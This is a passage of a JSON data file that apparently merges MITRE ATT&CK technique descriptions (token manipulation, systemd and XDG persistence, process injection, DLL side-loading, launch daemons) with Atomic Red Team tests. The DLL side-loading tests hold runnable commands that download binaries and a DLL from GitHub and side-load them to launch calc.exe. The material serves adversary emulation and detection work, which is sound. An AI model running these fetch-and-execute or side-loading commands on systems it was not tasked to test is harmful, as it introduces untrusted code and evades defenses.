remote system.(Citation: Pentestlab Token Manipulation)\n\nAny standard user can use the runas
command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.",
- "modified": "2022-05-03T02:14:43.557Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Access Token Manipulation",
- "x_mitre_detection": "If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas
command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. \n\nThere are many Windows API calls a payload can take advantage of to manipulate access tokens (e.g., LogonUser
(Citation: Microsoft LogonUser), DuplicateTokenEx
(Citation: Microsoft DuplicateTokenEx), and ImpersonateLoggedOnUser
(Citation: Microsoft ImpersonateLoggedOnUser)). Please see the referenced Windows API pages for more information.\n\nQuery systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation)\n\nLook for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Process: Process Metadata",
- "Process: Process Creation",
- "Command: Command Execution",
- "Active Directory: Active Directory Object Modification",
- "Process: OS API Execution",
- "User Account: User Account Metadata"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ],
- "x_mitre_effective_permissions": [
- "SYSTEM"
- ],
- "x_mitre_defense_bypassed": [
- "Windows User Account Control",
- "Heuristic Detection",
- "System Access Controls",
- "Host Forensic Analysis"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1543.002": {
- "technique": {
- "x_mitre_platforms": [
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Tony Lambert, Red Canary"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b",
- "type": "attack-pattern",
- "created": "2020-01-17T16:15:19.870Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1543.002",
- "url": "https://attack.mitre.org/techniques/T1543/002"
- },
- {
- "external_id": "CAPEC-550",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/550.html"
- },
- {
- "external_id": "CAPEC-551",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/551.html"
- },
- {
- "source_name": "Linux man-pages: systemd January 2014",
- "url": "http://man7.org/linux/man-pages/man1/systemd.1.html",
- "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019."
- },
- {
- "source_name": "Freedesktop.org Linux systemd 29SEP2018",
- "url": "https://www.freedesktop.org/wiki/Software/systemd/",
- "description": "Freedesktop.org. (2018, September 29). systemd System and Service Manager. Retrieved April 23, 2019."
- },
- {
- "source_name": "Anomali Rocke March 2019",
- "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang",
- "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."
- },
- {
- "source_name": "Rapid7 Service Persistence 22JUNE2016",
- "url": "https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence",
- "description": "Rapid7. (2016, June 22). Service Persistence. Retrieved April 23, 2019."
- }
- ],
- "modified": "2020-10-09T13:46:29.701Z",
- "name": "Create or Modify System Process: Systemd Service",
- "description": "Adversaries may create or modify systemd services to repeatedly execute malicious payloads as part of persistence. The systemd service manager is commonly used for managing background daemon processes (also known as services) and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation: Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04, CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit and Upstart while remaining backwards compatible with the aforementioned init systems.\n\nSystemd utilizes configuration files known as service units to control how services boot and under what conditions. By default, these unit files are stored in the /etc/systemd/system
and /usr/lib/systemd/system
directories and have the file extension .service
. Each service unit file may contain numerous directives that can execute system commands:\n\n* ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands when a services is started manually by 'systemctl' or on system start if the service is set to automatically start. \n* ExecReload directive covers when a service restarts. \n* ExecStop and ExecStopPost directives cover when a service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd functionality to establish persistent access to victim systems by creating and/or modifying service unit files that cause systemd to execute malicious commands at system boot.(Citation: Anomali Rocke March 2019)\n\nWhile adversaries typically require root privileges to create/modify service unit files in the /etc/systemd/system
and /usr/lib/systemd/system
directories, low privilege users can create/modify service unit files in directories such as ~/.config/systemd/user/
to achieve user-level persistence.(Citation: Rapid7 Service Persistence 22JUNE2016)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Systemd service unit files may be detected by auditing file creation and modification events within the /etc/systemd/system
, /usr/lib/systemd/system/
, and /home//.config/systemd/user/
directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: systemctl list-units -\u2013type=service \u2013all
. Analyze the contents of .service
files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAuditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as /usr/sbin/service
may reveal malicious systemd service execution.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Service: Service Creation",
- "Process: Process Creation",
- "File: File Modification",
- "File: File Creation",
- "Command: Command Execution",
- "Service: Service Modification"
- ],
- "x_mitre_permissions_required": [
- "User",
- "root"
- ],
- "identifier": "T1543.002"
- },
- "atomic_tests": []
- },
- "T1547.013": {
- "technique": {
- "x_mitre_platforms": [
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Tony Lambert, Red Canary"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11",
- "type": "attack-pattern",
- "created": "2019-09-10T18:13:12.195Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.013",
- "url": "https://attack.mitre.org/techniques/T1547/013"
- },
- {
- "description": "Free Desktop. (2006, February 13). Desktop Application Autostart Specification. Retrieved September 12, 2019.",
- "url": "https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html",
- "source_name": "Free Desktop Application Autostart Feb 2006"
- },
- {
- "description": "Free Desktop. (2017, December 24). Recognized Desktop Entry Keys. Retrieved September 12, 2019.",
- "url": "https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html",
- "source_name": "Free Desktop Entry Keys"
- }
- ],
- "modified": "2020-11-10T15:55:10.103Z",
- "name": "XDG Autostart Entries",
- "description": "Adversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the /etc/xdg/autostart
or ~/.config/autostart
directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006)\n\nWithin an XDG autostart entry file, the Type
key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The Name
key indicates an arbitrary name assigned by the creator and the Exec
key indicates the application and command line arguments to execute.(Citation: Free Desktop Entry Keys)\n\nAdversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make XDG autostart entries look as if they are associated with legitimate programs.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Malicious XDG autostart entries may be detected by auditing file creation and modification events within the /etc/xdg/autostart
and ~/.config/autostart
directories. Depending on individual configurations, defenders may need to query the environment variables $XDG_CONFIG_HOME
or $XDG_CONFIG_DIRS
to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.\n \nSuspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification",
- "File: File Creation",
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User",
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1055.005": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744",
- "type": "attack-pattern",
- "created": "2020-01-14T01:30:41.092Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1055.005",
- "url": "https://attack.mitre.org/techniques/T1055/005"
- },
- {
- "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html",
- "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.",
- "source_name": "FireEye TLS Nov 2017"
- },
- {
- "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process",
- "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
- "source_name": "Elastic Process Injection July 2017"
- }
- ],
- "modified": "2021-10-18T12:24:54.198Z",
- "name": "Thread Local Storage",
- "description": "Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread
, SuspendThread
/SetThreadContext
/ResumeThread
, and those that can be used to modify memory within another process, such as VirtualAllocEx
/WriteProcessMemory
, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Modification",
- "Process: Process Access",
- "Process: OS API Execution"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Application control"
- ]
- },
- "atomic_tests": []
- },
- "T1547.007": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e",
- "created": "2020-01-24T18:15:06.641Z",
- "x_mitre_version": "1.1",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.007",
- "url": "https://attack.mitre.org/techniques/T1547/007"
- },
- {
- "source_name": "Re-Open windows on Mac",
- "url": "https://support.apple.com/en-us/HT204005",
- "description": "Apple. (2016, December 6). Automatically re-open windows, apps, and documents on your Mac. Retrieved July 11, 2017."
- },
- {
- "source_name": "Methods of Mac Malware Persistence",
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017."
- },
- {
- "source_name": "Wardle Persistence Chapter",
- "url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf",
- "description": "Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to \"Reopen windows when logging back in\".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named com.apple.loginwindow.[UUID].plist
within the ~/Library/Preferences/ByHost
directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user\u2019s next logon.\n\nAdversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the com.apple.loginwindow.[UUID].plist
file to execute payloads when a user logs in.",
- "modified": "2022-04-19T23:46:56.443Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Boot or Logon Autostart Execution: Re-opened Applications",
- "x_mitre_detection": "Monitoring the specific plist files associated with reopening applications can indicate when an application has registered itself to be reopened.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Modification",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1547.007"
- },
- "atomic_tests": []
- },
- "T1574.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b",
- "created": "2020-03-13T19:41:37.908Z",
- "x_mitre_version": "2.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.002",
- "url": "https://attack.mitre.org/techniques/T1574/002"
- },
- {
- "source_name": "FireEye DLL Side-Loading",
- "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf",
- "description": "Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in the Side of the Anti-Virus Industry. Retrieved March 13, 2020."
- },
- {
- "url": "https://capec.mitre.org/data/definitions/641.html",
- "source_name": "capec",
- "external_id": "CAPEC-641"
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).\n\nSide-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)",
- "modified": "2022-05-05T04:07:48.912Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Hijack Execution Flow: DLL Side-Loading",
- "x_mitre_detection": "Monitor processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs. Track DLL metadata, such as a hash, and compare DLLs that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "File: File Creation",
- "File: File Modification",
- "Module: Module Load",
- "Process: Process Creation"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Application Control"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1574.002"
- },
- "atomic_tests": [
- {
- "name": "DLL Side-Loading using the Notepad++ GUP.exe binary",
- "auto_generated_guid": "65526037-7079-44a9-bda1-2cb624838040",
- "description": "GUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded.\nUpon execution, calc.exe will be opened.\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "process_name": {
- "description": "Name of the created process",
- "type": "string",
- "default": "calculator.exe"
- },
- "gup_executable": {
- "description": "GUP is an open source signed binary used by Notepad++ for software updates",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1574.002\\bin\\GUP.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Gup.exe binary must exist on disk at specified location (#{gup_executable})\n",
- "prereq_command": "if (Test-Path #{gup_executable}) {exit 0} else {exit 1}\n",
- "get_prereq_command": "New-Item -Type Directory (split-path #{gup_executable}) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true\" -OutFile \"#{gup_executable}\"\n"
- }
- ],
- "executor": {
- "command": "#{gup_executable}\n",
- "cleanup_command": "taskkill /F /IM #{process_name} >nul 2>&1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "DLL Side-Loading using the dotnet startup hook environment variable",
- "auto_generated_guid": "d322cdd7-7d60-46e3-9111-648848da7c02",
- "description": "Utilizing the dotnet_startup_hooks environment variable, this method allows for registering a global method in an assembly that will be executed whenever a .net core application is started. This unlocks a whole range of scenarios, from injecting a profiler to tweaking a static context in a given environment. [blog post](https://medium.com/criteo-engineering/c-have-some-fun-with-net-core-startup-hooks-498b9ad001e1)\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "process_name": {
- "description": "Name of the created process",
- "type": "string",
- "default": "calculator.exe"
- },
- "preloader_dll": {
- "description": "library for interfacing with the dotnet framework",
- "type": "path",
- "default": "PathToAtomicsFolder\\T1574.002\\bin\\preloader.dll"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": ".Net SDK must be installed\n",
- "prereq_command": "if (Test-Path \"C:\\Program Files\\dotnet\\dotnet.exe\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "winget install Microsoft.DotNet.SDK.6 --accept-source-agreements --accept-package-agreements -h > $null\necho.\n"
- },
- {
- "description": "preloader must exist\n",
- "prereq_command": "if (Test-Path \"#{preloader_dll}\") {exit 0} else {exit 1}\n",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/preloader?raw=true\" -OutFile \"#{preloader_dll}\"\n"
- }
- ],
- "executor": {
- "command": "set DOTNET_STARTUP_HOOKS=#{preloader_dll}\ndotnet -h > nul\necho.\n",
- "cleanup_command": "taskkill /F /IM #{process_name} >nul 2>&1\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1160": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1160",
- "url": "https://attack.mitre.org/techniques/T1160"
- },
- {
- "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
- "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
- "source_name": "AppleDocs Launch Agent Daemons"
- },
- {
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
- "source_name": "Methods of Mac Malware Persistence"
- },
- {
- "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf",
- "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.",
- "source_name": "OSX Malware Detection"
- },
- {
- "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf",
- "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
- "source_name": "WireLurker"
- }
- ],
- "modified": "2020-03-19T15:08:50.043Z",
- "name": "Launch Daemon",
- "description": "Per Apple\u2019s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons
and /Library/LaunchDaemons
(Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon\u2019s executable and gain persistence or Privilege Escalation.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "x_mitre_effective_permissions": [
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1055.008": {
- "technique": {
- "x_mitre_platforms": [
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f",
- "type": "attack-pattern",
- "created": "2020-01-14T01:33:19.065Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1055.008",
- "url": "https://attack.mitre.org/techniques/T1055/008"
- },
- {
- "source_name": "PTRACE man",
- "url": "http://man7.org/linux/man-pages/man2/ptrace.2.html",
- "description": "Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's Manual. Retrieved February 21, 2020."
- },
- {
- "source_name": "Medium Ptrace JUL 2018",
- "url": "https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be",
- "description": "Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020."
- },
- {
- "source_name": "BH Linux Inject",
- "url": "https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf",
- "description": "Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020."
- },
- {
- "description": "Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.",
- "source_name": "ArtOfMemoryForensics"
- },
- {
- "url": "https://www.gnu.org/software/acct/",
- "description": "GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.",
- "source_name": "GNU Acct"
- },
- {
- "url": "https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing",
- "description": "Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.",
- "source_name": "RHEL auditd"
- },
- {
- "url": "http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html",
- "description": "stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.",
- "source_name": "Chokepoint preload rootkits"
- }
- ],
- "modified": "2021-10-18T12:26:31.766Z",
- "name": "Ptrace System Calls",
- "description": "Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \n\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc
) then invoking that memory with PTRACE_SETREGS
to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT
/PTRACE_POKEDATA
, which copy data to a specific address in the target processes\u2019 memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) \n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: OS API Execution",
- "Process: Process Access",
- "Process: Process Modification"
- ],
- "x_mitre_defense_bypassed": [
- "Anti-virus",
- "Application control"
- ]
- },
- "atomic_tests": []
- },
- "T1037.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
